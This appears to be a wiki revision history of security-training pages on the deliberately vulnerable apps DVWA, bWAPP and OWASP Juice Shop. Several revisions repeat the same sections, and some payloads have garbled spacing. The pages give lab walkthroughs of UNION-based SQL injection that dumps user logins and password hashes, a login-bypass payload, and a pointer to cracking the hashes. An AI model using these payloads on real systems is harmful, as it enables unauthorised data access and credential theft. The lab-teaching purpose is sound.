**''% ’And 1 = 0 union select null, concat (first \ _name, 0x0a, last \ _name, 0x0a, user, 0x0a, password) from users #'' 
*Unfortunately, the data is hashed, and we have to use external software to crack them (John the Ripper).
[[File:DVWA hashpassword.PNG|500px|center]]

[[Category:Documentation]]

DVWA

2020-12-21T18:39:18Z

CEberhart: /* Example */

DVWA

2020-12-21T18:33:18Z

CEberhart: /* Installation */

The so-called damn vulnerable web app (DVWA) is also a vulnerable PHP / MySQL web app. It is very similar to bWAPP. DVWA is free and can be used by anyone. The purpose of this application is to improve and test the skills and tools of security professionals and enthusiasts in a legal and secure environment. It is also used to explore the different vulnerabilities in four difficulties. More detailed explanations and information can be found on the DVWA homepage or at the GitHub page.

== Architecture ==

As already mentioned, the Damn Vulnerable Web Application (DVWA) is a free PHP application which is like bWAPP. It also uses a SQL database to persist information. The service is provided by Linux or Windows. XAMPP is also supported.
[[File:DVWA architecture.png|500px|center]]

== Installation ==

The installation of DVWA is very similar to that of [[bWAPP]]. Because the application is very fragile, it is recommended to install it on a virtual machine, and not in the public HTML folder. The following steps show a successful installation:
*The application could be downloaded on the official homepage of DVWA (http://www.dvwa.co.uk/). The ZIP file is extracted on any path.
[[File:DVWA official Website.png|500px|center]]
*The name of the folder is changed to “dvwa” and in the /xampp/htdocs path copied from XAMPP. Apache and MySQL should be activated in the XAMPP control panel.
*The password is deleted from the configuration file “config.inc.php.dist”.
[[File:DVWA configfile.png|500px|center]]
*/localhost/dvwa is called by the browser, which leads you to the login.
**Username is “admin”
**Password is “password”
*Now you are logged in and ready to work with DVWA.
[[File:DVWA installed and ready to use.png|500px|center]]
'''Note''': Before you start, the database should be set or reset.

== Example ==

The example is also based on the SQL injection vulnerability. In contrast to bWAPP, no search terms are entered in the search field, here we are searching by an identification number (ID) of the user in the database. An identification number returns the first name and last name of a user.
[[File:DVWA search.PNG|500px|center]]
If we enter "1" in the search field, we will get a syntax error with the associated error message. So, we recognize that the parameters in the URL are vulnerable for a SQL injection. This means we can transmit commands (queries) to the database to get any desired result. First have to merge all existing tables together with the union statement, then we can go forward and determine our desired result like user or database.
''% 'Or 0 = 0 union select null, user () #'' 
''% ’Or 0 = 0 union select null, database () #'' 
[[File:DVWA sqldatabase.PNG|500px|center]]
[[File:DVWA sqluser.PNG|500px|center]]
To display all tables of the information schema, you must enter the following command in the search field. 
'''Note:''' The information schema is the place where information is shared with everyone else databases are stored.
''% ’And 1 = 0 union select null, table \ _name from information_schema.tables #'' 
We want to display the login data such as username and password. To do this, we should look for the 'User' table and print all containing fields. Now we know which fields exist in the table ’User’, so that we can select the right ones and print them out.
''% ’And 1 = 0 union select null, table_name from information_schema.tables where table_name like’ user% ’#'' 
''% 'And 1 = 0 union select null, concat (table_name, 0x0a, column_name) from information_schema.columns where table_name =' users' #'' 
''% ’And 1 = 0 union select null, concat (first \ _name, 0x0a, last \ _name, 0x0a, user, 0x0a, password) from users #'' 
Unfortunately, the data is hashed, and we have to use external software to crack them (John the Ripper).
[[File:DVWA hashpassword.PNG|500px|center]]

BWAPP

2020-12-21T18:29:21Z

CEberhart: /* Example */

bWAPP is the abbreviation for "buggy web application" and it's a deliberately insecure web application which is freely accessible to everyone. bWAPP belongs to the ITSEC GamesProject and was designed by Malik Mesellem. Security enthusiasts such as developers and students can discover the various web vulnerabilities and try to simulate vulnerabilities. In addition to the ethical hacking training, bWAPP has a gaming character and should serve as a funny training enviroment. bWAPP is extremely diverse because it contains the most well-known web vulnerabilities and even includes all risks of the OWASP Top 10 Project. The application also offers three security levels (low/medium/high), where the user is perfectly prepared for penetration tests and hacking projects. Further information and assistance can be found on the ITSEC GamesProject website. [[http://www.itsecgames.com/]]

== Architecture ==

bWAPP is a free PHP application that uses a MySQL database. The web service is provided by Linux or Windows with Apache or IIS. It's also supported by WAMP and XAMPP to use a local webserver.
[[File:BWAPP architectur.PNG||200px|center]]
You can also download bee-box, this is a virtual machine with bWAPP included.[https://sourceforge.net/projects/bwapp/files/bee-box Install bee-box]
[[File:BWAPP1Start.PNG|300px|center]]

== Installation ==

For a successful installation, follow these steps:
* On the official homepage of ITSEC Games-Project [http://www.itsecgames.com/] you can download bWAPP. Extract the ZIP file to any path.
[[File:OfficialWebsite bWAPP.png|500px|center]]
*The password is deleted from the PHP file “setting.php”
[[File:BWAPP PHPfile with password.png|left]]
[[File:BWAPP PHPfile without password.png|right]]
*Then the name of the folder is changed to “bwapp” and the /xampp/htdocs path copied from XAMPP. Here Apache and MySQL must be activated on the XAMPP Control Panel
*Open “localhost / bwapp / install.php” via the browser and then click on "here". If the installation was successful, this will also be communicated with a short message.
*Now bWAPP has been successfully installed. Enter /localhost/bwapp/ in any browser and a login form appears.
**Username is “bee”
**Password is “bug”.
*User is logged in now and can play around with the application.
[[File:BWAPP installed and ready to use.png|500px|center]]

== Example ==

For a practical demonstration of bWAPP the SQL injection is elected. There are possible security lacks in a SQL database where an attacker can inject the database queries to obtain his desired result.
*If the correct challenge (SQL injection (GET / SEARCH)) on the website has been selected, a new page opens with a search window and an empty table.
[[File:BWAPP SQLInjection.PNG|500px|center]]
*By entering any terms into the search field (e.g. "man"), it's possible to search for any entry in the database. If you select with an empty search field, all entries are displayed.
[[File:BWAPP withsearch.PNG|500px|center]]
[[File:BWAPP nosearch.PNG|500px|center]]
*But if you enter an apostrophe as a search term, this leads to a syntax error, and you get an error message return, so you recognize that the parameters of the URL are susceptible to a SQL injection.
[[File:BWAPP error.PNG|500px|center]]
*Now it is known that the URL can be edited. By incrementing the number, we can consider that there exist only seven columns.
**''localhost / bwapp / sqli_1.php? title = 1 ’order by 1- - -''
**''localhost / bwapp / sqli_1.php? title = 1 ’order by 8- - - (out of clausle)''
*It is necessary to know how many columns you have, because in order to display confidential information you have to use an union statement, so that you merge the tables and for this you need the number of columns.
**''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4,5,6,7, - - -''
*By visualizing the columns, you can get the information such as the name or/and the version of the database
**''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, database (), 6,7, - - -'' 
**''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, version (), 6,7, - - -''
*By further visualizing you get more information about the database and the associated content. In this example an attempt is made to display the password. This can be reached by outputting the characters of the tables and further linking the table names. Until you get the column ‘User’ where the password is saved hopefully.
**''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, table_name, 6,7 from information_schema.tables- - -''
**''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, table_name, 6,7 from information_schema.tables where table_schema = database () - - -''
**''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (table_name), 6,7 from information_schema.tables where table_schema = database () - - -''
**''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (colume_name), 6,7 from information_schema.tables where table_schema =’ users’- - -''
**''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (login, password), 6,7, from users- - -''
*Unfortunately, you can only see the hashed password. But you can crack the hashed password in another step using password cracker software such as John the Ripper.
[[File:BWAPP hash.PNG|500px|center]]
[[File:Challenge1.9bWAPP.png|700px]]

[[Category:Documentation]]

BWAPP

2020-12-21T18:28:22Z

CEberhart: /* Example */

Unsecure Webservices: bWAPP vs. JuiceShop

2020-12-21T18:27:51Z

CEberhart: /* STEP 5: Cracking the hashed password with John the Ripper */

[[File:JuicebWAPP.png|1000px]]
== Introduction ==

The number of users of online services has increased significantly in the last years. As a result, the relevance of security in the web is also increasing rapidly, because every organization and private person prefers that their data securely tranported and stored in the web. Moreover, Even though we are living in 2020, web application security is the most overlooked aspect of a business. Therefore, hackers' efforts are more focused on websites and the associated applications. To understand why web apps are a popular target of many cyber criminals a few important points are listed here.
*The application can be accessed 24/7 via the Internet
*Have sensitive data and often have direct access to backend data
*Conventional firewalls do not have adequate protection
*The applications are tailored and therefore very fragile

Nowadays web applications represent a fundamental part in information technologies. Therefore the danger of attacks on the internet is growing and make so-called penetration tests necessary. A penetration test comprises a series of activities which record and identify security gaps. In the attached seminar paper, two intentionally insecure web services are compared with each other. The focus of the practical part includes the testing of the world's most frequently used SQL-injection Attack. In this case, attackers take advantage of specific weaknesses in order to gain access to confidential information. A variation of this SQL injection attack is described.
But there are much more weak points in the web, the main vulnerabilities concerning the web are the OWASP Top Ten:
*Injection
*Broken Authentication & Session Management
*Sensitive Data Exposure
*XML External Entities (XXE)
*Broken Access Control
*Security Misconfiguration
*Cross Site Scripting (XSS)
*Insecure Deserialization
*Using Components with Known Vulnerabilities
*Insufficient Logging & Monitoring

Most software errors are the result of inappropriate input validation. This leads to an attack targeting confidential information more frequently. SQL injection attacks are very popular because they are executed using simple scripts. Identifying SQL-injection vulnerabilities is often not that easy.Even though the majority of security gaps on the web are performed directly and from a strategic distance, many web designers are surprisingly not security conscious. Testing vulnerabilities for web applications is one way to deal with such problems. Tools like bWAPP and OWASP Juice Shop offer users a fun way to uncover these vulnerabilities.

== Penetrating Testing ==

Penetrating testing is a targeted, permitted attempt to penetrate an IT system. The main objective is to detect and eliminate vulnerabilities in order to improve IT security. Vulnerabilities should be identified before they arise. Methods such as SQL injection, XML External Entities (XEE) and Cross-Site scripting (XSS) are very popular by hackers. For web applications, the Open Web Application Security Project (OWASP) offers materials for pentests.

== SQL Injection Vulnerability ==

With the growing popularity of the World Wide Web, there was an increasing use for advanced technology and dynamic websites.

SQL injection vulnerability is one of the greatest dangers to confidentiality and integrity in Web applications and thus has been included in the OWASP Top 10 list of the most common vulnerabilities since its introduction. For example, attackers can insert malware into an SQL statement through an SQL injection vulnerability. The practical part of this thesis deals with the SQL injection attack.
Attackers gain the ability to perform a series of actions if an SQL injection is applied to a vulnerable page. By exploiting this vulnerability, database contents can be added, edited, deleted or read.

== Vulnerable Webservices ==
These are web services that were intentionally implemented insecure, so that there are extremely vulnerable. Thus, security enthusiast such as developers, students or teachers can use it to discover and simulate various vulnerabilities in the web. This ensures that users are better at dealing with a wide variety of vulnerabilities, such as the OWASP Top 10 and many other weaknesses in the web. Moreover, it's like a workout to improve ethical hacking skills. In addition, it is possible to minimize the dangers, because you know what to pay attention
Three services are presented in detail referring to their architecture, installation, as well as a practical example with SQL Injection:
*[[bWAPP]] (buggy web application)
*[[DVWA]](damn vulnerable web app)
*[[OWASP_Juice_Shop]]

=== bWAPP ===
The term bWAPP stands for buggy Web Applications. bWAPP belongs to the ITSEC-Games-Project and describes a deliberately extremely faulty web application. It was designed with the goal of ensuring IT security. Furthermore, it has a gaming character and should serve as a funny training enviroment.

=== OWASP Juice Shop ===
At first glance, the OWASP Juice Shop looks like an inconspicuous online shop for fruit juices. The Juice Shop was designed in 2014 and is a so-called 'online juice shop' for safety training. Two years after its foundation, Juice Shop was submitted and accepted as an OWASP tool project. This step made the Juice Shop accessible to a large community of users within a short period of time.

==Comparison and architecture of bWAPP and OWASP Juice Shop==

'''OWASP Juice Shop''' is a pure web application, which is implemented in JavaScript and TypeScript. In the frontend, Angular Framework is used to create a Single Page Application. The layout of the user interface is the implementation of Google's material design using Angular Material Components. In order to achieve responsiveness, the Angular Flex layout is used. All symbols which were used are from the Font Awesome library. Javascript is also used as a programming language in the backend. An Express Application is hosted on a Node.js server and provides the client-side code to the browser. The client is also provided with the required backend functionality via a RESTful API. SQLite was selected as the database. Sequelize and Finale-Rest are used as abstraction levels from the database. A MarsDB is part of the OWASP Juice Shops as additional data storage. It is a JavaScript derivative of the popular MongoDB NoSQL database and compatible with most query and change operations. Push notifications that appear when a challenge is successfully hacked are implemented via a WebSocket Protocol. The application also offers users a comfortable way of registration via OAuth 2.0. This give users the possibility to sign in using their Google accounts.

[[File:ArchitekturOWASP.PNG|700px]]

----

'''bWAPP''' is an open source PHP application that uses a MySQL database. It can be hosted on Linux or Windows with Apache or IIS and MySQL. To install bWAPP
there is a possibility to use a local webserver like WAMP or XAMPP. Another possibility is the download of bee-box, a bWAPP preinstalled virtual machine.

To download virtualbox, use the following link:

[https://sourceforge.net/projects/bwapp/files/bWAPP Install bWAPP]

On the following page there is a step-by-step instructions for installing virtualbox:

[https://wiki.elvis.science/index.php?title=VirtualBox:_How_to_Setup_your_Malware_Analysis Step-by-Step guideline: how to install virtualbox]

To install beebox you can use the following link:

[https://sourceforge.net/projects/bwapp/files/bee-box Install bee-box]

[[File:VirtualBox.PNG|400px]]
[[File:BWAPP1Start.PNG|400px]]

== Practical demonstration Step-by-Step guideline==
For the practical demonstrations SQL injection is chosen. This hacking method will be tested on both insecure web applications to get a clear comparison. SQL-Injection is one of the most common methods on the top 10 list of OWASP and therefore it is considered as a very serious threat.

== bWAPP Challenge ==
=== STEP 1: Select a challenge===

The challenge is selected first. Afterwards, the user is redirected to the next web page to be able to execute the challenge.

[[File:bWAPPs.PNG|500px]]
[[File:BWAPP_HackMöglichkeiten.PNG|250px]]

In order to be able to select a challenge, there is a registration requirement. However, users have the possibility to register with any data they wish. Afterwards, an SQL injection task can be selected from various 'bugs'. For the selected (GET/SEARCH) SQL-Injection, information about available movies is displayed in a table when entering a movie title. Here you can search for one or more movies. As a result of the search, the movie details are displayed. If the input button is clicked without entering a search term, all movies are displayed. The set goal is to get a user password.

[[File:1nebenan.png|500px]]
[[File:2nebenan.png|500px]]

=== STEP 2: Try out some SQL-Statements===

If you enter a search term such as 'iron', for example, all data will be displayed as can bee seen in the picture below. In this challenge, bWAPP is asking us to search the database for our favorite movie which contains the word 'iron' and the search field gives the result 'iron man'. In this case there is a high probability that this query contains some columns. The select-command is something like "Select column1, column2, column3, column4 from table where movie LIKE '%". $userinput."%'"

[[File:Bild1EingabeIron.PNG|500px]]

If the form is vulnerable, introducing a single ''' 1 ''' should throw a SQL error because "Select column1, column2, column3, column4 from table where movie LIKE "'" is not a valid query. As a result, you can see that the URL parameter '''1'''' is definitely vulnerable to an SQL injection:

[[File:Bild2SQLSyntaxFehler.PNG|500px]]

After recognizing a syntax error the URL is edited; action=search is deleted and replaced by order by '''1 -- -'''.

[[File:Bild3URLTeilDelete.PNG|500px]]

[[File:Bild4neueURL.PNG|500px]]

The output shows that the URL parameters are definitely vulnerable to SQL injections.

[[File:Bild5ErgebnisURL1.PNG|500px]]

=== STEP 3: Trying to find out the number of columns===

To find the answer we can use an 'ORDER BY' clause inside our query : ' order by 6 -- -
The query sent to the database will look like : "Select column1, column2, column3, column4, column5, column6, from table where movie LIKE '%' order by 6 -- -%' . If the columns exists, the result will be ordered by the 6th column. Otherwise a SQL error will be thrown.

We can try the numbers until a so-called out of table message is displayed. This is done by increasing a number by 1 until an error message appears. As no error is thrown we know the query contains at least 7 columns. So we can try with 8 columns. By entering the 8th column there is an error message. Now we know the query contains 7 columns.

[[File:Bild6URL.PNG|500px]]

[[File:Bild7.PNG|500px]]

The attempt to display confidential information begins with an SQL Union statement. With this statement it is possible to merge database tables. First, it must be ensured that the same number of columns is used as in the original SQL statement. Then it is possible to perform some malicious queries.

[[File:Bild8URL.PNG|500px]]

The result shows that column 5 corresponds to one character.

[[File:Bild9ErgebnisURL.PNG|500px]]

=== STEP 4: Get the password===

Again, the URL is changed to access the desired password. Now it is possible to play with the field order and visualize the current database character:

[[File:Bild10URL.PNG|500px]]

The result ejects the character bWAPP. Now it is only a few steps to the hashed password.

[[File:Bild11ErgebnisURL.PNG|500px]]

In the following step the contents of the columns-output is 'User'. Now we have all we need to retrieve all users secrets. The column names login, password, email and secret looks interesting.

[[File:Bild20URL.PNG|800px]]

[[File:Bild21Ergebnis.PNG|1000px]]

The goal is to get the password. Therefore the URL is changed so the login and password of the user are displayed. The result gives some interesting values. The database is exploited by retrieving confidential data. The value of the password is stored in a hash state and cannot yet be retrieved. There is one last query to get the hashed password from bwapp.

[[File:Bild22URL.PNG|800px]]

[[File:Bild23PWErgebnis.PNG|1000px]]

=== STEP 5: Cracking the hashed password with John the Ripper===
To crack the hashed password, the next step is to use a password cracker software such as John the Ripper. John the Ripper is a popular open source password cracking software. A number of password crackers are combined in one package. Password hash types are detected automatically the password's output in clear text.

[[File:Challenge1.9bWAPP.png|700px]]
 
----
 

== OWASP Juice Shop Challenge ==
At OWASP Juice Shop there is a separate website where the Challenges are listed. You have to search for the possibility of executing these Challenges. If a Challenge was successful, a notification will appear on the screen.

[[File:JuiceShopPlattform.PNG|500px]]

=== STEP 1: Try to login as Admin with simple SQL-statements===

The following command is used to attempt to log in as Admin: ''' 'or true - -'''. Within a short period of time it was possible to log in as Admin using this SQL command and a randomly chosen password. '''True''' as an SQL command means that this result is always true. The double hyphen after it means that all characters after true are comments. In this case the Login worked uncomplicated and fast.

[[File: juice4.PNG|250px]]

Successful login: Register as a user with administrator priviliges. If a challenge is successfully solved, this will be shown on the screen.

[[File: juice3.PNG|500px]]

=== STEP 2: Change user data===

After the successful login it is possible to change user data like account name and a picture. It is also possible to make further changes and, for example, fill the shopping cart.

[[File:UserDaten.PNG|300px]]

== Conclusion ==

Tools like bWAPP and OWASP Juice Shop are very helpful and interesting for anyone interested in trying out various hacking tasks with different levels of difficulty in a playful manner. With the unstoppable development of technology and today's abundance of information it becomes more important to be well informed about the dangers that come with the World Wide Web. An SQL injection example (GET / Search) shows that passwords of any user can be cracked in a short time. The two insecure web services bWAPP and OWASP Juice Shop were introduced and compared in terms of installation, architecture and application. Due to the different levels of difficulty in the challenges and additional challenges on special events, users are able to further develop their skills.
Further information on this article can be found in my paper: [[seminar paper]]

== References ==
[https://www.owasp.org Open Web Application Security Project (OWASP)]

[https://www.mmebvba.com/sites/default MME Security Audits & Training]

[https://www2.owasp.org/www-project-juice-shop OWASP Juice Shop Project]

[https://www.netsparker.com/blog/websecurity/sql-injection-vulnerability SQL-Injection Vulnerability]

[[Category:Documentation]]

BWAPP

2020-12-21T18:20:47Z

CEberhart: /* Installation */

bWAPP is the abbreviation for "buggy web application" and it's a deliberately insecure web application which is freely accessible to everyone. bWAPP belongs to the ITSEC GamesProject and was designed by Malik Mesellem. Security enthusiasts such as developers and students can discover the various web vulnerabilities and try to simulate vulnerabilities. In addition to the ethical hacking training, bWAPP has a gaming character and should serve as a funny training enviroment. bWAPP is extremely diverse because it contains the most well-known web vulnerabilities and even includes all risks of the OWASP Top 10 Project. The application also offers three security levels (low/medium/high), where the user is perfectly prepared for penetration tests and hacking projects. Further information and assistance can be found on the ITSEC GamesProject website. [[http://www.itsecgames.com/]]

== Architecture ==

bWAPP is a free PHP application that uses a MySQL database. The web service is provided by Linux or Windows with Apache or IIS. It's also supported by WAMP and XAMPP to use a local webserver.
[[File:BWAPP architectur.PNG||200px|center]]
You can also download bee-box, this is a virtual machine with bWAPP included.[https://sourceforge.net/projects/bwapp/files/bee-box Install bee-box]
[[File:BWAPP1Start.PNG|300px|center]]

== Installation ==

For a successful installation, follow these steps:
* On the official homepage of ITSEC Games-Project [http://www.itsecgames.com/] you can download bWAPP. Extract the ZIP file to any path.
[[File:OfficialWebsite bWAPP.png|500px|center]]
*The password is deleted from the PHP file “setting.php”
[[File:BWAPP PHPfile with password.png|left]]
[[File:BWAPP PHPfile without password.png|right]]
*Then the name of the folder is changed to “bwapp” and the /xampp/htdocs path copied from XAMPP. Here Apache and MySQL must be activated on the XAMPP Control Panel
*Open “localhost / bwapp / install.php” via the browser and then click on "here". If the installation was successful, this will also be communicated with a short message.
*Now bWAPP has been successfully installed. Enter /localhost/bwapp/ in any browser and a login form appears.
**Username is “bee”
**Password is “bug”.
*User is logged in now and can play around with the application.
[[File:BWAPP installed and ready to use.png|500px|center]]

== Example ==

For a practical demonstration of bWAPP the SQL injection is elected. There are possible security lacks in a SQL database where an attacker can inject the database queries to obtain his desired result.
If the correct challenge (SQL injection (GET / SEARCH)) on the website has been selected, a new page opens with a search window and an empty table.
[[File:BWAPP SQLInjection.PNG|500px|center]]
By entering any terms into the search field (e.g. "man"), it is possible to search for any entry in the database. If you select with an empty search field, all entries are displayed.
[[File:BWAPP withsearch.PNG|500px|center]]
[[File:BWAPP nosearch.PNG|500px|center]]
But if you enter an apostrophe as a search term, this leads to a syntax error, and you get an error message return, so you recognize that the parameters of the URL are susceptible to a SQL injection.
[[File:BWAPP error.PNG|500px|center]]
Now it is known that the URL can be edited. By incrementing the number, we can consider that there exist only seven columns.
''localhost / bwapp / sqli_1.php? title = 1 ’order by 1- - -''
''localhost / bwapp / sqli_1.php? title = 1 ’order by 8- - - (out of clausle)''
It is necessary to know how many columns you have, because in order to display confidential information you have to use an union statement, so that you merge the tables and for this you need the number of columns.
''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4,5,6,7, - - -''
By visualizing the columns, you can get the information such as the name or/and the version of the database
''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, database (), 6,7, - - -'' 
''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, version (), 6,7, - - -''
By further visualizing you get more information about the database and the associated content. In this example an attempt is made to display the password. This can be reached by outputting the characters of the tables and further linking the table names. Until you get the column ‘User’ where the password is saved hopefully.
''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, table_name, 6,7 from information_schema.tables- - -''
''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, table_name, 6,7 from information_schema.tables where table_schema = database () - - -''
''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (table_name), 6,7 from information_schema.tables where table_schema = database () - - -''
''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (colume_name), 6,7 from information_schema.tables where table_schema =’ users’- - -''
''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (login, password), 6,7, from users- - -''
Unfortunately, you can only see the hashed password. But you can crack the hashed password in another step using password cracker software such as John the Ripper.
[[File:BWAPP hash.PNG|500px|center]]

BWAPP

2020-12-21T18:12:37Z

CEberhart: /* Architecture */

bWAPP is the abbreviation for "buggy web application" and it's a deliberately insecure web application which is freely accessible to everyone. bWAPP belongs to the ITSEC GamesProject and was designed by Malik Mesellem. Security enthusiasts such as developers and students can discover the various web vulnerabilities and try to simulate vulnerabilities. In addition to the ethical hacking training, bWAPP has a gaming character and should serve as a funny training enviroment. bWAPP is extremely diverse because it contains the most well-known web vulnerabilities and even includes all risks of the OWASP Top 10 Project. The application also offers three security levels (low/medium/high), where the user is perfectly prepared for penetration tests and hacking projects. Further information and assistance can be found on the ITSEC GamesProject website. [[http://www.itsecgames.com/]]

== Architecture ==

bWAPP is a free PHP application that uses a MySQL database. The web service is provided by Linux or Windows with Apache or IIS. It's also supported by WAMP and XAMPP to use a local webserver.
[[File:BWAPP architectur.PNG||200px|center]]
You can also download bee-box, this is a virtual machine with bWAPP included.[https://sourceforge.net/projects/bwapp/files/bee-box Install bee-box]
[[File:BWAPP1Start.PNG|300px|center]]

== Installation ==

For a successful installation, follow these steps:
On the official homepage of ITSEC Games-Project (http://www.itsecgames.com/) you can download bWAPP. Extract the ZIP file to any path.
[[File:OfficialWebsite bWAPP.png|500px|center]]

The password is deleted from the PHP file “setting.php”
[[File:BWAPP PHPfile with password.png|left]]
[[File:BWAPP PHPfile without password.png|right]]

Then the name of the folder is changed to “bwapp” and the /xampp/htdocs path copied from XAMPP. Here Apache and MySQL must be activated on the XAMPP Control Panel
Open “localhost / bwapp / install.php” via the browser and then click on "here". If the installation was successful, this will also be communicated with a short message.
Now bWAPP has been successfully installed, if you enter /localhost/bwapp/ in any browser you will get to the login window. Username is “bee” and password is “bug”. You are logged in now and you can play around with the application.
[[File:BWAPP installed and ready to use.png|500px|center]]

== Example ==

For a practical demonstration of bWAPP the SQL injection is elected. There are possible security lacks in a SQL database where an attacker can inject the database queries to obtain his desired result.
If the correct challenge (SQL injection (GET / SEARCH)) on the website has been selected, a new page opens with a search window and an empty table.
[[File:BWAPP SQLInjection.PNG|500px|center]]
By entering any terms into the search field (e.g. "man"), it is possible to search for any entry in the database. If you select with an empty search field, all entries are displayed.
[[File:BWAPP withsearch.PNG|500px|center]]
[[File:BWAPP nosearch.PNG|500px|center]]
But if you enter an apostrophe as a search term, this leads to a syntax error, and you get an error message return, so you recognize that the parameters of the URL are susceptible to a SQL injection.
[[File:BWAPP error.PNG|500px|center]]
Now it is known that the URL can be edited. By incrementing the number, we can consider that there exist only seven columns.
''localhost / bwapp / sqli_1.php? title = 1 ’order by 1- - -''
''localhost / bwapp / sqli_1.php? title = 1 ’order by 8- - - (out of clausle)''
It is necessary to know how many columns you have, because in order to display confidential information you have to use an union statement, so that you merge the tables and for this you need the number of columns.
''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4,5,6,7, - - -''
By visualizing the columns, you can get the information such as the name or/and the version of the database
''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, database (), 6,7, - - -'' 
''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, version (), 6,7, - - -''
By further visualizing you get more information about the database and the associated content. In this example an attempt is made to display the password. This can be reached by outputting the characters of the tables and further linking the table names. Until you get the column ‘User’ where the password is saved hopefully.
''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, table_name, 6,7 from information_schema.tables- - -''
''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, table_name, 6,7 from information_schema.tables where table_schema = database () - - -''
''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (table_name), 6,7 from information_schema.tables where table_schema = database () - - -''
''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (colume_name), 6,7 from information_schema.tables where table_schema =’ users’- - -''
''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (login, password), 6,7, from users- - -''
Unfortunately, you can only see the hashed password. But you can crack the hashed password in another step using password cracker software such as John the Ripper.
[[File:BWAPP hash.PNG|500px|center]]

BWAPP

2020-12-21T18:03:22Z

CEberhart:

bWAPP is the abbreviation for "buggy web application" and it's a deliberately insecure web application which is freely accessible to everyone. bWAPP belongs to the ITSEC GamesProject and was designed by Malik Mesellem. Security enthusiasts such as developers and students can discover the various web vulnerabilities and try to simulate vulnerabilities. In addition to the ethical hacking training, bWAPP has a gaming character and should serve as a funny training enviroment. bWAPP is extremely diverse because it contains the most well-known web vulnerabilities and even includes all risks of the OWASP Top 10 Project. The application also offers three security levels (low/medium/high), where the user is perfectly prepared for penetration tests and hacking projects. Further information and assistance can be found on the ITSEC GamesProject website. [[http://www.itsecgames.com/]]

== Architecture ==

bWAPP is a free PHP application that uses an SQL database. The web service is provided by Linux or Windows with Apache or IIS. It is also supported by WAMP and XAMPP. You can also download bee-box, this is a virtual machine with bWAPP included.
[[File:BWAPP architectur.PNG||200px|center]]

== Installation ==

For a successful installation, follow these steps:
On the official homepage of ITSEC Games-Project (http://www.itsecgames.com/) you can download bWAPP. Extract the ZIP file to any path.
[[File:OfficialWebsite bWAPP.png|500px|center]]

The password is deleted from the PHP file “setting.php”
[[File:BWAPP PHPfile with password.png|left]]
[[File:BWAPP PHPfile without password.png|right]]

Then the name of the folder is changed to “bwapp” and the /xampp/htdocs path copied from XAMPP. Here Apache and MySQL must be activated on the XAMPP Control Panel
Open “localhost / bwapp / install.php” via the browser and then click on "here". If the installation was successful, this will also be communicated with a short message.
Now bWAPP has been successfully installed, if you enter /localhost/bwapp/ in any browser you will get to the login window. Username is “bee” and password is “bug”. You are logged in now and you can play around with the application.
[[File:BWAPP installed and ready to use.png|500px|center]]

== Example ==

For a practical demonstration of bWAPP the SQL injection is elected. There are possible security lacks in a SQL database where an attacker can inject the database queries to obtain his desired result.
If the correct challenge (SQL injection (GET / SEARCH)) on the website has been selected, a new page opens with a search window and an empty table.
[[File:BWAPP SQLInjection.PNG|500px|center]]
By entering any terms into the search field (e.g. "man"), it is possible to search for any entry in the database. If you select with an empty search field, all entries are displayed.
[[File:BWAPP withsearch.PNG|500px|center]]
[[File:BWAPP nosearch.PNG|500px|center]]
But if you enter an apostrophe as a search term, this leads to a syntax error, and you get an error message return, so you recognize that the parameters of the URL are susceptible to a SQL injection.
[[File:BWAPP error.PNG|500px|center]]
Now it is known that the URL can be edited. By incrementing the number, we can consider that there exist only seven columns.
''localhost / bwapp / sqli_1.php? title = 1 ’order by 1- - -''
''localhost / bwapp / sqli_1.php? title = 1 ’order by 8- - - (out of clausle)''
It is necessary to know how many columns you have, because in order to display confidential information you have to use an union statement, so that you merge the tables and for this you need the number of columns.
''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4,5,6,7, - - -''
By visualizing the columns, you can get the information such as the name or/and the version of the database
''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, database (), 6,7, - - -'' 
''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, version (), 6,7, - - -''
By further visualizing you get more information about the database and the associated content. In this example an attempt is made to display the password. This can be reached by outputting the characters of the tables and further linking the table names. Until you get the column ‘User’ where the password is saved hopefully.
''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, table_name, 6,7 from information_schema.tables- - -''
''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, table_name, 6,7 from information_schema.tables where table_schema = database () - - -''
''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (table_name), 6,7 from information_schema.tables where table_schema = database () - - -''
''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (colume_name), 6,7 from information_schema.tables where table_schema =’ users’- - -''
''localhost / bwapp / sqli_1.php? title = 1 ’union select 1,2,3,4, group_concat (login, password), 6,7, from users- - -''
Unfortunately, you can only see the hashed password. But you can crack the hashed password in another step using password cracker software such as John the Ripper.
[[File:BWAPP hash.PNG|500px|center]]

Unsecure Webservices: bWAPP vs. JuiceShop

2020-12-21T17:55:40Z

